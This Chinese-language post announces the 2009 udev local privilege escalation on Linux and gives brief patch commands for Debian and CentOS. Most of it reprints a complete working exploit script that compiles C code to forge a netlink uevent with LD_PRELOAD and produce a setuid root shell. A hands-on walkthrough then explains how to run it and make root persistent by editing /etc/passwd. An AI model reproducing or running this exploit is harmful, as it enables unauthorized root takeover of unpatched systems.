Linux爆本地提权漏洞请更新udev程序(Debian ubuntu 测试通过，Centos5.3失败,FC10测试成功)

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Linux的udev程序再爆本地提权漏洞，本地用户可以轻易获得root权限，请立即更新udev程序。（2.4内核系统不受影响） 修复方法(修复前请备份重要数据)： 　　debian用户请执行apt-get update ; apt-get upgrade -y 　　centos用户请执行yum update udev 　　RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。 　　攻击效果展示： 　　libuuid@debian:~$ sh a 890 sh-3.1# id uid=0(root) gid=0(root) groups=105(libuuid) sh-3.1# cat /etc/debian_version lenny/sid sh-3.1# dpkg -l | grep udev ii  udev                                 0.114-2                  /dev/ and hotplug management daemon 　　现在确认的是此攻击方式对Debian和Ubuntu相当有效，对RedHat的攻击效果有待确认。 　　最新战况请查阅 http://baoz.net/linux-udev-exploit/ 　　EXP: #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c << _EOF #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <dirent.h> #include <sys/stat.h> #include <sysexits.h> #include <wait.h> #include <signal.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h> #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif #define SHORT_STRING 64 #define MEDIUM_STRING 128 #define BIG_STRING 256 #define LONG_STRING 1024 #define EXTRALONG_STRING 4096 #define TRUE 1 #define FALSE 0 int socket_fd; struct sockaddr_nl address; struct msghdr msg; struct iovec iovector; int sz = 64*1024; main(int argc, char **argv) { char sysfspath[SHORT_STRING]; char subsystem[SHORT_STRING]; char event[SHORT_STRING]; char major[SHORT_STRING]; char minor[SHORT_STRING]; sprintf(event, &quot;add&quot;); sprintf(subsystem, &quot;block&quot;); sprintf(sysfspath, &quot;/dev/foo&quot;); sprintf(major, &quot;8&quot;); sprintf(minor, &quot;1&quot;); memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); char message[LONG_STRING]; char *mp; mp = message; mp += sprintf(mp, &quot;%s@%s&quot;, event, sysfspath) +1; mp += sprintf(mp, &quot;ACTION=%s&quot;, event) +1; mp += sprintf(mp, &quot;DEVPATH=%s&quot;, sysfspath) +1; mp += sprintf(mp, &quot;MAJOR=%s&quot;, major) +1; mp += sprintf(mp, &quot;MINOR=%s&quot;, minor) +1; mp += sprintf(mp, &quot;SUBSYSTEM=%s&quot;, subsystem) +1; mp += sprintf(mp, &quot;LD_PRELOAD=/tmp/libno_ex.so.1.0&quot;) +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); char *buf; int buflen; buf = (char *) &msg; buflen = (int)(mp-message); sendmsg(socket_fd, &msg, 0); close(socket_fd); sleep(10); execl(&quot;/tmp/suid&quot;, &quot;suid&quot;, (void*)0); } _EOF gcc udev.c -o /tmp/udev cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { setgid(0); setuid(0); unsetenv(&quot;LD_PRELOAD&quot;); execl(&quot;/bin/sh&quot;,&quot;sh&quot;,&quot;-c&quot;,&quot;chown root:root /tmp/suid; chmod +s /tmp/suid&quot;,NULL); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cat > suid.c << _EOF int main(void) { setgid(0); setuid(0); execl(&quot;/bin/sh&quot;,&quot;sh&quot;,0); } _EOF gcc -o /tmp/suid suid.c cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 /tmp/udev $1 # milw0rm.com [2009-04-20] 入侵方法： http://www.milw0rm.com/exploits/8478 在putty中运行如下命令： [liang@www ~]$ vi test 粘贴上面的代码 [liang@www ~]$ wq 保存并退出 [liang@www ~]$chmod 777 test 添加任意用户可执行权限 [liang@www ~]$ps ax|grep udev|grep -v grep|awk {’print $1’} 获得udev进程号，结果为479，然后减1作为test参数 [liang@www ~]$sh test 478 结果返回 sh-3.2$ 返回这个说明不成功，我们多试几次 sh-3.2$ sh test 478 这样我试了三次，还是不行 sh-3.2$ sh test 476 这次成功了，我看到了可爱的#，哈哈 人品爆炸了 然后vi /etc/passwd 把用户名liang的 uid和gid改为0，这样liang 就为root 权限了